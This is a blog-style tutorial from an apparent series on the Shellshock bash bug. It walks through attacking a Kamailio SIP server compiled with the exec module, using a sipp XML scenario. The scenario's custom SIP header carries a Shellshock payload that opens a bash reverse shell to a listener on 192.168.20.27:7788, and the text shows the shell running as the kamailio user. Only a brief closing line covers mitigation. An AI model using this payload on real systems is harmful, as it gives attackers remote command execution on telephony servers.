Continuing with the series of articles on ways to exploit the bashshock bug, we will explain how to apply this attack against a SIP server, specifically against a Kamailio3.2. For this, we will use a very useful tool called sipp, which is a SIP traffic simulator. With it, we can set up SIP scenarios using xml files. The trick is to pass a SIP header to the server which will be modified to take advantage of the bashshock bug. For this to work, Kamailio must be compiled with the exec module.

First, we check if our Kamailio server is vulnerable:

vulnerable
this is a test

For this type of attack to work, Kamailio must be compiled with support for exec. This module allows external commands to be executed from within Kamailio. The documentation for the module can be found here .

In the configuration file, we load the module:

loadmodule "exec.so"

There must be some place in the routing where a command is executed using exec, in my case:

exec_msg("echo TEST > /tmp/test.txt");

SIP servers usually work in clusters and use DNS-SRV to distribute the load. We can find out all the servers behind the domain using:

To prevent our tests from being balanced and always go to the same server, we configure our hosts file to one of the IPs obtained using dig:

A.B.C.D DOMAIN.com

We put the socket that will receive the connection on listen:

We move on to the simulator part, we download it and compile it:
http://downloads.sourceforge.net/project/sipp/

We create our scenario, it is a very simple scenario in which the sip connection is not closed since we only want to send the first packet to provoke the error and get shell:

<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE scenario SYSTEM "sipp.dtd">
<scenario name="Basic Sipstone UAC">
<send retrans="500">
<![CDATA[
INVITE sip:[service]@DOMAIN.com:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: sipp <sip:sipp@DOMAIN.com:[local_port]>;tag=[call_number]
To: sut <sip:[service]@DOMAIN.com:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:sipp@[local_ip]:[local_port]
Max-Forwards: 70
X-Ploit: () { :;}; exec /bin/bash -i >& /dev/tcp/192.168.20.27/7788 0>&1
Subject: Security Test
Content-Type: application/sdp
Content-Length: [len]
v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 0
a=rtpmap:0 PCMU/8000
]]>
</send>
<recv response="401" auth="true">
</recv>
</scenario>

We launch the attack:

In the shell with netcat, we should have received a shell with the privileges of the user with which Kamailio runs:

kamailio@kamatest / $ id
id
uid=1000(kamailio) gid=1000(kamailio) groups=1000(kamailio)

NOTE: If the exec command is in a path in which we must already be authenticated, it would be necessary to authenticate before reaching the critical point. This would imply a slightly more complex scenario in sipp and having valid credentials on that server.

Ideally, we should update the bash version and configure the exec module so that it does not pass environment variables to the shell unless strictly necessary:

modparam("exec", "setvars", 0)